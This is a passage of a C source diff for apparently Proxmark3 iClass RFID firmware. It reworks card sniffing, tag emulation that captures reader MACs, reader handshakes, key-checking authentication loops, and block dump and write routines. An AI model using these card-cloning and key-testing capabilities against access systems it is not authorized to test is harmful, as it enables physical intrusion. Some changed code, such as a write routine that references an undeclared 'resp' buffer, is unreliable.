void RAMFUNC SniffIClass(void) { AT91C_BASE_PDC_SSC->PDC_RNCR = ICLASS_DMA_BUFFER_SIZE; } - if (*data & 0xF) { - //tag_byte <<= 1; - tag_byte ^= (1 << 4); - foo ^= (1 << (3 - divi)); - Dbprintf(" %d|%x == %d|%x", tag_byte, tag_byte, foo, foo); - } - divi++; - // every odd sample if (sniffCounter & 0x01) { // no need to try decoding reader data if the tag is sending @@ -919,7 +936,7 @@ void RAMFUNC SniffIClass(void) { if (Uart.frame_done) { time_stop = GetCountSspClk() - time_0; LogTrace(Uart.buf, Uart.len, time_start, time_stop, NULL, true); - DemodReset(); + DemodIcReset(); uart_reset(); } else { time_start = GetCountSspClk() - time_0; @@ -936,8 +953,6 @@ void RAMFUNC SniffIClass(void) { LED_C_INV(); // LOW nibble is always tag data. /* - - uint32_t tag_byte = ((previous_data & 0x0F000000) >> 8 ) | ((previous_data & 0x000F0000) >> 4 ) | @@ -947,28 +962,26 @@ void RAMFUNC SniffIClass(void) { */ - //uint8_t tag_byte = ((previous_data & 0xF) << 4 ) | (*data & 0xF); - if (ManchesterDecoding_iclass(foo)) { + uint8_t tag_byte = ((previous_data & 0xF) << 4) | (*data & 0xF); + if (ManchesterDecoding_iclass(tag_byte)) { time_stop = GetCountSspClk() - time_0; LogTrace(Demod.output, Demod.len, time_start, time_stop, NULL, false); - DemodReset(); + DemodIcReset(); uart_reset(); } else { time_start = GetCountSspClk() - time_0; } - TagIsActive = (Demod.state != DEMOD_UNSYNCD); + TagIsActive = (Demod.state != DEMOD_IC_UNSYNCD); } - tag_byte = 0; - foo = 0; - divi = 0; } } // end main loop - if (DBGLEVEL >= 1) { - DbpString("[+] Sniff statistics:"); - Dbhexdump(ICLASS_DMA_BUFFER_SIZE, data, false); - } - + /* + if (DBGLEVEL >= 1) { + DbpString("[+] Sniff statistics:"); + Dbhexdump(ICLASS_DMA_BUFFER_SIZE, data, false); + } + */ switch_off(); } @@ -996,9 +1009,17 @@ static bool GetIClassCommandFromReader(uint8_t *received, int *len, int maxLen) uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; (void)b; - while (!BUTTON_PRESS()) { + uint16_t checked = 0; + for (;;) { + WDT_HIT(); + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) return false; + checked = 0; + } + ++checked; + // keep tx buffer in a defined state anyway. if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) AT91C_BASE_SSC->SSC_THR = 0x00; @@ -1017,6 +1038,7 @@ static bool GetIClassCommandFromReader(uint8_t *received, int *len, int maxLen) return false; } +/* static uint8_t encode4Bits(const uint8_t b) { // OTA, the least significant bits first // Manchester encoding added @@ -1063,6 +1085,9 @@ static uint8_t encode4Bits(const uint8_t b) { return 0xaa; // 0000 -> 0000 -> 10101010 -> 0xaa } } +*/ + +static uint8_t lut_enc[] = { 0xAA, 0x6A, 0x9A, 0x5A, 0xA6, 0x66, 0x96, 0x56, 0xA9, 0x69, 0x99, 0x59, 0xA5, 0x65, 0x95, 0x55 }; //----------------------------------------------------------------------------- // Prepare tag messages @@ -1109,8 +1134,8 @@ static void CodeIClassTagAnswer(const uint8_t *cmd, int len) { int i; for (i = 0; i < len; i++) { uint8_t b = cmd[i]; - ToSend[++ToSendMax] = encode4Bits(b & 0xF); // least significant half - ToSend[++ToSendMax] = encode4Bits((b >> 4) & 0xF); // most significant half + ToSend[++ToSendMax] = lut_enc[b & 0xF]; // least significant half + ToSend[++ToSendMax] = lut_enc[(b >> 4) & 0xF]; // most significant half } // Send EOF @@ -1195,11 +1220,11 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain if (doIClassSimulation(MODE_EXIT_AFTER_MAC, mac_responses + i * EPURSE_MAC_SIZE)) { // Button pressed - reply_old(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i, 0, mac_responses, i * EPURSE_MAC_SIZE); + reply_old(CMD_ACK, CMD_HF_ICLASS_SIMULATE, i, 0, mac_responses, i * EPURSE_MAC_SIZE); goto out; } } - reply_old(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i, 0, mac_responses, i * EPURSE_MAC_SIZE); + reply_old(CMD_ACK, CMD_HF_ICLASS_SIMULATE, i, 0, mac_responses, i * EPURSE_MAC_SIZE); } else if (simType == 3) { //This is 'full sim' mode, where we use the emulator storage for data. @@ -1226,20 +1251,20 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain // keyroll 1 if (doIClassSimulation(MODE_EXIT_AFTER_MAC, mac_responses + i * EPURSE_MAC_SIZE)) { - reply_old(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i * 2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2); + reply_old(CMD_ACK, CMD_HF_ICLASS_SIMULATE, i * 2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2); // Button pressed goto out; } // keyroll 2 if (doIClassSimulation(MODE_EXIT_AFTER_MAC, mac_responses + (i + numberOfCSNS) * EPURSE_MAC_SIZE)) { - reply_old(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i * 2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2); + reply_old(CMD_ACK, CMD_HF_ICLASS_SIMULATE, i * 2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2); // Button pressed goto out; } } // double the amount of collected data. - reply_old(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i * 2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2); + reply_old(CMD_ACK, CMD_HF_ICLASS_SIMULATE, i * 2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2); } else { // We may want a mode here where we hardcode the csns to use (from proxclone). @@ -1281,6 +1306,7 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { AddCrc(csn_data, 8); uint8_t diversified_key[8] = { 0 }; + // e-Purse uint8_t card_challenge_data[8] = { 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; //uint8_t card_challenge_data[8] = { 0 }; @@ -1291,6 +1317,7 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { //Card challenge, a.k.a e-purse is on block 2 memcpy(card_challenge_data, emulator + (8 * 2), 8); + //Precalculate the cipher state, feeding it the CC cipher_state = opt_doTagMAC_1(card_challenge_data, diversified_key); } @@ -1307,7 +1334,7 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { // Reader 81 anticoll. CSN // Tag CSN - uint8_t *modulated_response; + uint8_t *modulated_response = NULL; int modulated_response_size = 0; uint8_t *trace_data = NULL; int trace_data_size = 0; @@ -1326,7 +1353,7 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { uint8_t *resp_csn = BigBuf_malloc(28); int resp_csn_len; - // configuration picopass 2ks + // configuration Picopass 2ks uint8_t *resp_conf = BigBuf_malloc(28); int resp_conf_len; uint8_t conf_data[10] = {0x12, 0xFF, 0xFF, 0xFF, 0x7F, 0x1F, 0xFF, 0x3C, 0x00, 0x00}; @@ -1341,6 +1368,14 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { uint8_t *resp_aia = BigBuf_malloc(28); int resp_aia_len; uint8_t aia_data[10] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00}; + if (simulationMode == MODE_FULLSIM) { + + // (iceman) this only works for 2KS / 16KS tags. + // Use application data from block 5 + memcpy(aia_data, emulator + (8 * 5), 8); + + // older 2K / 16K tags has its application issuer data on block 2 + } AddCrc(aia_data, 8); // receive command @@ -1382,11 +1417,11 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { //This is used for responding to READ-block commands or other data which is dynamically generated //First the 'trace'-data, not encoded for FPGA - uint8_t *data_generic_trace = BigBuf_malloc(8 + 2);//8 bytes data + 2byte CRC is max tag answer + uint8_t *data_generic_trace = BigBuf_malloc((8 * 4) + 2);//8 bytes data + 2byte CRC is max tag answer //Then storage for the modulated data //Each bit is doubled when modulated for FPGA, and we also have SOF and EOF (2 bytes) - uint8_t *data_response = BigBuf_malloc((8 + 2) * 2 + 2); + uint8_t *data_response = BigBuf_malloc(((8 * 4) + 2) * 2 + 2); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); SpinDelay(100); @@ -1396,9 +1431,9 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { uint32_t time_0 = GetCountSspClk(); uint32_t t2r_stime = 0, t2r_etime = 0; uint32_t r2t_stime, r2t_etime = 0; - LED_A_ON(); bool buttonPressed = false; + uint8_t cmd, options, block; while (!exitLoop) { WDT_HIT(); @@ -1419,7 +1454,11 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { LED_C_ON(); //Signal tracer - if (receivedCmd[0] == ICLASS_CMD_ACTALL) { // 0x0A + cmd = receivedCmd[0] & 0xF; + options = (receivedCmd[0] >> 4) & 0xFF; + block = receivedCmd[1]; + + if (cmd == ICLASS_CMD_ACTALL) { // 0x0A // Reader in anticollission phase modulated_response = resp_sof; modulated_response_size = resp_sof_Len; //order = 1; @@ -1427,7 +1466,7 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { trace_data_size = sizeof(sof_data); // adjusted for 330 + (160*num of slot) goto send; - } else if (receivedCmd[0] == ICLASS_CMD_READ_OR_IDENTIFY) { // 0x0C + } else if (cmd == ICLASS_CMD_READ_OR_IDENTIFY) { // 0x0C if (len == 1) { // Reader asks for anticollission CSN modulated_response = resp_anticoll; @@ -1436,21 +1475,22 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { trace_data_size = sizeof(anticoll_data); goto send; } + if (len == 4) { // block0,1,2,5 is always readable. - switch (receivedCmd[1]) { + switch (block) { case 0: // csn (0c 00) modulated_response = resp_csn; modulated_response_size = resp_csn_len; trace_data = csn_data; trace_data_size = sizeof(csn_data); - break; + goto send; case 1: // configuration (0c 01) modulated_response = resp_conf; modulated_response_size = resp_conf_len; trace_data = conf_data; trace_data_size = sizeof(conf_data); - break; + goto send; case 2: // e-purse (0c 02) modulated_response = resp_cc; modulated_response_size = resp_cc_len; @@ -1460,20 +1500,31 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { if (reader_mac_buf != NULL) { memcpy(reader_mac_buf, card_challenge_data, 8); } - break; + goto send; case 5:// Application Issuer Area (0c 05) modulated_response = resp_aia; modulated_response_size = resp_aia_len; trace_data = aia_data; trace_data_size = sizeof(aia_data); + goto send; + default : { + if (simulationMode == MODE_FULLSIM) { // 0x0C + //Read block + //Take the data... + memcpy(data_generic_trace, emulator + (block << 3), 8); + AddCrc(data_generic_trace, 8); + trace_data = data_generic_trace; + trace_data_size = 10; + CodeIClassTagAnswer(trace_data, trace_data_size); + memcpy(modulated_response, ToSend, ToSendMax); + modulated_response_size = ToSendMax; + goto send; + } break; - default: - break; - } - goto send; - } - - } else if (receivedCmd[0] == ICLASS_CMD_SELECT) { // 0x81 + } + }//swith + }// if 4 + } else if (cmd == ICLASS_CMD_SELECT) { // 0x81 // Reader selects anticollission CSN. // Tag sends the corresponding real CSN modulated_response = resp_csn; @@ -1481,23 +1532,15 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { trace_data = csn_data; trace_data_size = sizeof(csn_data); goto send; - } else if (receivedCmd[0] == ICLASS_CMD_READCHECK_KD) { // 0x88 - // Read e-purse (88 02) + } else if (cmd == ICLASS_CMD_READCHECK) { // 0x88 + // Read e-purse KD (88 02) KC (18 02) modulated_response = resp_cc; modulated_response_size = resp_cc_len; //order = 4; trace_data = card_challenge_data; trace_data_size = sizeof(card_challenge_data); LED_B_ON(); goto send; - } else if (receivedCmd[0] == ICLASS_CMD_READCHECK_KC) { // 0x18 - // Read e-purse (18 02) - modulated_response = resp_cc; - modulated_response_size = resp_cc_len; //order = 4; - trace_data = card_challenge_data; - trace_data_size = sizeof(card_challenge_data); - LED_B_ON(); - goto send; - } else if (receivedCmd[0] == ICLASS_CMD_CHECK) { // 0x05 + } else if (cmd == ICLASS_CMD_CHECK) { // 0x05 // Reader random and reader MAC!!! if (simulationMode == MODE_FULLSIM) { // NR, from reader, is in receivedCmd +1 @@ -1535,27 +1578,25 @@ int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf) { } } goto send; - } else if (receivedCmd[0] == ICLASS_CMD_HALT && len == 1) { + } else if (cmd == ICLASS_CMD_HALT && options == 0 && len == 1) { // Reader ends the session modulated_response = resp_sof; modulated_response_size = 0; //order = 0; trace_data = NULL; trace_data_size = 0; goto send; - } else if (simulationMode == MODE_FULLSIM && receivedCmd[0] == ICLASS_CMD_READ_OR_IDENTIFY && len == 4) { // 0x0C + } else if (simulationMode == MODE_FULLSIM && cmd == ICLASS_CMD_READ4 && len == 4) { // 0x06 //Read block - uint16_t blk = receivedCmd[1]; //Take the data... - memcpy(data_generic_trace, emulator + (blk << 3), 8); - AddCrc(data_generic_trace, 8); + memcpy(data_generic_trace, emulator + (block << 3), 8 * 4); + AddCrc(data_generic_trace, 8 * 4); trace_data = data_generic_trace; - trace_data_size = 10; + trace_data_size = 34; CodeIClassTagAnswer(trace_data, trace_data_size); - memcpy(data_response, ToSend, ToSendMax); - modulated_response = data_response; + memcpy(modulated_response, ToSend, ToSendMax); modulated_response_size = ToSendMax; goto send; - } else if (simulationMode == MODE_FULLSIM && receivedCmd[0] == ICLASS_CMD_UPDATE) { + } else if (simulationMode == MODE_FULLSIM && cmd == ICLASS_CMD_UPDATE) { //Probably the reader wants to update the nonce. Let's just ignore that for now. // OBS! If this is implemented, don't forget to regenerate the cipher_state @@ -1599,7 +1640,7 @@ send: A legit tag has about 330us delay between reader EOT and tag SOF. **/ if (modulated_response_size > 0) { - t2r_stime = (GetCountSspClk() - time_0) << 4; + t2r_stime = GetCountSspClkDelta(time_0) << 4; SendIClassAnswer(modulated_response, modulated_response_size, 0); t2r_etime = ((GetCountSspClk() - time_0) << 4) - t2r_stime; } @@ -1632,7 +1673,14 @@ static int SendIClassAnswer(uint8_t *resp, int respLen, uint16_t delay) { AT91C_BASE_SSC->SSC_THR = 0x00; - while (!BUTTON_PRESS()) { + uint16_t checked = 0; + for (;;) { + + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) return 0; + checked = 0; + } + ++checked; // Prevent rx holding register from overflowing if ((AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)) { @@ -1662,14 +1710,16 @@ static int SendIClassAnswer(uint8_t *resp, int respLen, uint16_t delay) { //----------------------------------------------------------------------------- // Transmit the command (to the tag) that was placed in ToSend[]. //----------------------------------------------------------------------------- -static void TransmitIClassCommand(const uint8_t *cmd, int len, int *samples, int *wait) { +static void TransmitIClassCommand(const uint8_t *cmd, int len, int *wait) { int c = 0; - volatile uint32_t b; bool firstpart = true; uint8_t sendbyte; + time_rdr = 0; + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + AT91C_BASE_SSC->SSC_THR = 0x00; // make sure we timeout previous comms. @@ -1699,20 +1749,9 @@ static void TransmitIClassCommand(const uint8_t *cmd, int len, int *samples, int if (c >= len) break; } - - // Prevent rx holding register from overflowing - if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - b = AT91C_BASE_SSC->SSC_RHR; - (void)b; - } } - if (samples) { - if (wait) - *samples = (c + *wait) << 3; - else - *samples = c << 3; - } + time_rdr = GetCountSspClk(); } //----------------------------------------------------------------------------- @@ -1736,7 +1775,7 @@ void CodeIClassCommand(const uint8_t *cmd, int len) { for (k = 0; k < 4; k++) { if (k == (b & 3)) - ToSend[++ToSendMax] = 0xf0; + ToSend[++ToSendMax] = 0x0f; else ToSend[++ToSendMax] = 0x00; } @@ -1756,17 +1795,12 @@ void CodeIClassCommand(const uint8_t *cmd, int len) { void ReaderTransmitIClass_ext(uint8_t *frame, int len, int wait) { - int samples = 0; - // This is tied to other size changes CodeIClassCommand(frame, len); // Select the card - TransmitIClassCommand(ToSend, ToSendMax, &samples, &wait); - if (trigger) - LED_A_ON(); - - rsamples += samples; + TransmitIClassCommand(ToSend, ToSendMax, &wait); + LED_A_ON(); LogTrace(frame, len, rsamples, rsamples, NULL, true); } @@ -1779,52 +1813,49 @@ void ReaderTransmitIClass(uint8_t *frame, int len) { // If a response is captured return TRUE // If it takes too long return FALSE //----------------------------------------------------------------------------- -static int GetIClassAnswer(uint8_t *receivedResponse, int maxLen, int *samples, int *elapsed) { +static int GetIClassAnswer(uint8_t *receivedResponse, int maxLen, int *wait) { // buffer needs to be 512 bytes // maxLen is not used... - - int c = 0; bool skip = false; - // Setup UART/DEMOD to receive - DemodInit(receivedResponse); - - if (elapsed) *elapsed = 0; - + LED_D_ON(); // Set FPGA mode to "reader listen mode", no modulation (listen // only, since we are receiving, not transmitting). FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); - SpinDelayUs(320); //310 Tout= 330us (iso15603-2) (330/21.3) take consideration for clock increments. + + // Setup UART/DEMOD to receive + DemodIcInit(receivedResponse); + + SpinDelayUs(g_wait); //310 Tout= 330us (iso15603-2) (330/21.3) take consideration for clock increments. // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; (void)b; - while (!BUTTON_PRESS()) { + uint16_t checked = 0; + + uint32_t card_start = GetCountSspClk(); + for (;;) { WDT_HIT(); - // keep tx buffer in a defined state anyway. - if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; - // To make use of exact timing of next command from reader!! - if (elapsed)(*elapsed)++; + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) return false; + checked = 0; } + ++checked; // Wait for byte be become available in rx holding register if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - if (c >= timeout) return false; - - c++; b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - skip = !skip; if (skip) continue; if (ManchesterDecoding_iclass(b & 0x0f)) { - if (samples) - *samples = c << 3; + time_response = GetCountSspClk() - card_start; return true; + } else if (GetCountSspClkDelta(card_start) > timeout && Demod.state == DEMOD_IC_UNSYNCD) { + return false; } } } @@ -1832,18 +1863,11 @@ static int GetIClassAnswer(uint8_t *receivedResponse, int maxLen, int *samples, } int ReaderReceiveIClass(uint8_t *receivedAnswer) { - int samples = 0; - if (!GetIClassAnswer(receivedAnswer, 0, &samples, NULL)) - return false; - - rsamples += samples; + if (GetIClassAnswer(receivedAnswer, 0, NULL) == false) + return 0; LogTrace(receivedAnswer, Demod.len, rsamples, rsamples, NULL, false); - - if (samples == 0) - return false; - return Demod.len; } @@ -1867,25 +1891,34 @@ void setupIclassReader() { // Now give it time to spin up. // Signal field is on with the appropriate LED FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - SpinDelay(300); + SpinDelay(500); StartCountSspClk(); LED_A_ON(); } -bool sendCmdGetResponseWithRetries(uint8_t *command, size_t cmdsize, uint8_t *resp, uint8_t expected_size, uint8_t retries) { +bool sendCmdGetResponseWithRetries(uint8_t *command, size_t cmdsize, uint8_t *resp, uint8_t expected_size, int8_t retries) { while (retries-- > 0) { ReaderTransmitIClass(command, cmdsize); //iceman - if received size is bigger than expected, we smash the stack here // since its called with fixed sized arrays + + // update/write command takes 4ms to 15ms before responding + int old_wait = g_wait; + if ((command[0] & 0xF) == ICLASS_CMD_UPDATE) + g_wait = 3900; + uint8_t got_n = ReaderReceiveIClass(resp); + g_wait = old_wait; + // 0xBB is the internal debug separator byte.. if (expected_size != got_n || (resp[0] == 0xBB || resp[7] == 0xBB || resp[2] == 0xBB)) { //try again +// SpinDelayUs(360); continue; } @@ -1907,26 +1940,30 @@ uint8_t handshakeIclassTag_ext(uint8_t *card_data, bool use_credit_key) { // act_all... static uint8_t act_all[] = { ICLASS_CMD_ACTALL }; static uint8_t identify[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x00, 0x73, 0x33 }; - static uint8_t select[] = { ICLASS_CMD_SELECT, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t readcheck_cc[] = { ICLASS_CMD_READCHECK_KD, 0x02 }; + static uint8_t select[] = { 0x80 | ICLASS_CMD_SELECT, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t readcheck_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; + + // Bit 4: K.If this bit equals to one, the READCHECK will use the Credit Key (Kc); if equals to zero, Debit Key (Kd) willbe used + // bit 7: parity. if (use_credit_key) - readcheck_cc[0] = ICLASS_CMD_READCHECK_KC; + readcheck_cc[0] = 0x10 | ICLASS_CMD_READCHECK; uint8_t resp[ICLASS_BUFFER_SIZE] = {0}; - uint8_t read_status = 0; - // Send act_all - ReaderTransmitIClass_ext(act_all, 1, 330 + 160); + // Send act_all ( 330 timeout + 160 timeslot); + ReaderTransmitIClass_ext(act_all, 1, 330 + 180); + // Card present? - if (!ReaderReceiveIClass(resp)) return read_status;//Fail + if (ReaderReceiveIClass(resp) == 0) + return 0; //Send Identify ReaderTransmitIClass(identify, 1); //We expect a 10-byte response here, 8 byte anticollision-CSN and 2 byte CRC - uint8_t len = ReaderReceiveIClass(resp); - if (len != 10) return read_status;//Fail + if (ReaderReceiveIClass(resp) != 10) + return 0; //Copy the Anti-collision CSN to our select-packet memcpy(&select[1], resp, 8); @@ -1935,15 +1972,8 @@ uint8_t handshakeIclassTag_ext(uint8_t *card_data, bool use_credit_key) { ReaderTransmitIClass(select, sizeof(select)); //We expect a 10-byte response here, 8 byte CSN and 2 byte CRC - len = ReaderReceiveIClass(resp); - if (len != 10) return read_status;//Fail - - //Success - level 1, we got CSN - //Save CSN in response data - memcpy(card_data, resp, 8); - - //Flag that we got to at least stage 1, read CSN - read_status = 1; + if (ReaderReceiveIClass(resp) != 10) + return 0; // Card selected, now read e-purse (cc) (block2) (only 8 bytes no CRC) // ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc)); @@ -1953,13 +1983,22 @@ uint8_t handshakeIclassTag_ext(uint8_t *card_data, bool use_credit_key) { // read_status++; // } - bool isOK = sendCmdGetResponseWithRetries(readcheck_cc, sizeof(readcheck_cc), resp, 8, 3); - if (!isOK) return read_status; + //Success - level 1, we got CSN + //Save CSN in response data + memcpy(card_data, resp, 8); + + bool isBlk_2 = sendCmdGetResponseWithRetries(readcheck_cc, sizeof(readcheck_cc), resp, 8, 3); + + //Flag that we got to at least stage 1, read CSN + if (isBlk_2 == false) { + return 1; + } //Save CC (e-purse) in response data memcpy(card_data + 8, resp, 8); - read_status++; - return read_status; + + // we got all data; + return 2; } uint8_t handshakeIclassTag(uint8_t *card_data) { return handshakeIclassTag_ext(card_data, false); @@ -1993,13 +2032,14 @@ void ReaderIClass(uint8_t arg0) { setupIclassReader(); + uint16_t checked = 0; bool userCancelled = BUTTON_PRESS() || data_available(); while (!userCancelled) { WDT_HIT(); // if only looking for one card try 2 times if we missed it the first time - if (try_once && tryCnt > 2) { + if (try_once && tryCnt > 10) { if (DBGLEVEL > 1) DbpString("Failed to find a tag"); break; } @@ -2082,7 +2122,7 @@ void ReaderIClass(uint8_t arg0) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SEND %c", send ? 'y' : 'n'); if (send) { - reply_old(CMD_ACK, result_status, 0, 0, card_data, sizeof(card_data)); + reply_mix(CMD_ACK, result_status, 0, 0, card_data, sizeof(card_data)); if (abort_after_read) { LED_B_OFF(); return; @@ -2092,14 +2132,19 @@ void ReaderIClass(uint8_t arg0) { } } LED_B_OFF(); - userCancelled = BUTTON_PRESS() || data_available(); + + if (checked == 1000) { + userCancelled = BUTTON_PRESS() || data_available(); + checked = 0; + } + ++checked; } if (userCancelled) { - reply_old(CMD_ACK, 0xFF, 0, 0, card_data, 0); + reply_mix(CMD_ACK, 0xFF, 0, 0, card_data, 0); switch_off(); } else { - reply_old(CMD_ACK, 0, 0, 0, card_data, 0); + reply_mix(CMD_ACK, 0, 0, 0, card_data, 0); } } @@ -2222,7 +2267,7 @@ void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac) { switch_off(); } -// not used. ?!? ( CMD_ICLASS_READCHECK) +// not used. ?!? ( CMD_HF_ICLASS_READCHECK) // turn off afterwards void iClass_ReadCheck(uint8_t blockno, uint8_t keytype) { uint8_t readcheck[] = { keytype, blockno }; @@ -2247,8 +2292,8 @@ void iClass_Authentication(uint8_t *mac) { //memcpy(check+5, mac, 4); // 6 retries - bool isOK = sendCmdGetResponseWithRetries(check, sizeof(check), resp, 4, 6); - reply_mix(CMD_ACK, isOK, 0, 0, 0, 0); + uint8_t isOK = sendCmdGetResponseWithRetries(check, sizeof(check), resp, 4, 6); + reply_ng(CMD_HF_ICLASS_AUTH, PM3_SUCCESS, (uint8_t *)&isOK, sizeof(uint8_t)); } typedef struct iclass_premac { @@ -2269,10 +2314,10 @@ void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain) { uint8_t keyCount = arg1 & 0xFF; uint8_t check[] = { ICLASS_CMD_CHECK, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t resp[ICLASS_BUFFER_SIZE]; - uint8_t readcheck_cc[] = { ICLASS_CMD_READCHECK_KD, 0x02 }; + uint8_t readcheck_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; if (use_credit_key) - readcheck_cc[0] = ICLASS_CMD_READCHECK_KC; + readcheck_cc[0] = 0x10 | ICLASS_CMD_READCHECK; // select card / e-purse uint8_t card_data[6 * 8] = {0}; @@ -2286,11 +2331,16 @@ void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain) { setupIclassReader(); + uint16_t checked = 0; int read_status = 0; uint8_t startup_limit = 10; while (read_status != 2) { - if (BUTTON_PRESS() && !data_available()) goto out; + if (checked == 1000) { + if (BUTTON_PRESS() || !data_available()) goto out; + checked = 0; + } + ++checked; read_status = handshakeIclassTag_ext(card_data, use_credit_key); if (startup_limit-- == 0) { @@ -2301,11 +2351,17 @@ void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain) { }; // since handshakeIclassTag_ext call sends s readcheck, we start with sending first response. + checked = 0; + // Keychunk loop for (i = 0; i < keyCount; i++) { // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() && !data_available()) break; + if (checked == 1000) { + if (BUTTON_PRESS() || !data_available()) goto out; + checked = 0; + } + ++checked; WDT_HIT(); LED_B_ON(); @@ -2321,8 +2377,6 @@ void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain) { if (isOK) goto out; - SpinDelayUs(400); //iClass (iso15693-2) should timeout after 330us. - // Auth Sequence MUST begin with reading e-purse. (block2) // Card selected, now read e-purse (cc) (block2) (only 8 bytes no CRC) ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc)); @@ -2358,10 +2412,14 @@ bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len) { // turn off afterwards // readblock 8 + 2. only want 8. void iClass_ReadBlk(uint8_t blockno) { - uint8_t data[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - bool isOK = iClass_ReadBlock(blockno, data, sizeof(data)); - reply_mix(CMD_ACK, isOK, 0, 0, data, sizeof(data)); + struct p { + bool isOK; + uint8_t blockdata[8]; + } PACKED result; + + result.isOK = iClass_ReadBlock(blockno, result.blockdata, sizeof(result.blockdata)); switch_off(); + reply_ng(CMD_HF_ICLASS_READBL, PM3_SUCCESS, (uint8_t *)&result, sizeof(result)); } // turn off afterwards @@ -2373,7 +2431,7 @@ void iClass_Dump(uint8_t blockno, uint8_t numblks) { BigBuf_free(); uint8_t *dataout = BigBuf_malloc(255 * 8); if (dataout == NULL) { - DbpString("[!] out of memory"); + DbpString("[!] fail to allocate memory"); OnError(1); return; } @@ -2393,39 +2451,26 @@ void iClass_Dump(uint8_t blockno, uint8_t numblks) { } memcpy(dataout + (blkCnt * 8), blockdata, 8); } + + switch_off(); //return pointer to dump memory in arg3 reply_mix(CMD_ACK, isOK, blkCnt, BigBuf_max_traceLen(), 0, 0); - switch_off(); BigBuf_free(); } bool iClass_WriteBlock_ext(uint8_t blockno, uint8_t *data) { - uint8_t resp[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - uint8_t write[] = { ICLASS_CMD_UPDATE, blockno, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t write[] = { 0x80 | ICLASS_CMD_UPDATE, blockno, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; memcpy(write + 2, data, 12); // data + mac AddCrc(write + 1, 13); - - bool isOK = sendCmdGetResponseWithRetries(write, sizeof(write), resp, sizeof(resp), 5); - if (isOK) { //if reader responded correctly - - //if response is not equal to write values - if (memcmp(write + 2, resp, 8)) { - - //if not programming key areas (note key blocks don't get programmed with actual key data it is xor data) - if (blockno != 3 && blockno != 4) { - isOK = sendCmdGetResponseWithRetries(write, sizeof(write), resp, sizeof(resp), 5); - } - } - } - return isOK; + return sendCmdGetResponseWithRetries(write, sizeof(write), resp, sizeof(resp), 5); } // turn off afterwards void iClass_WriteBlock(uint8_t blockno, uint8_t *data) { - bool isOK = 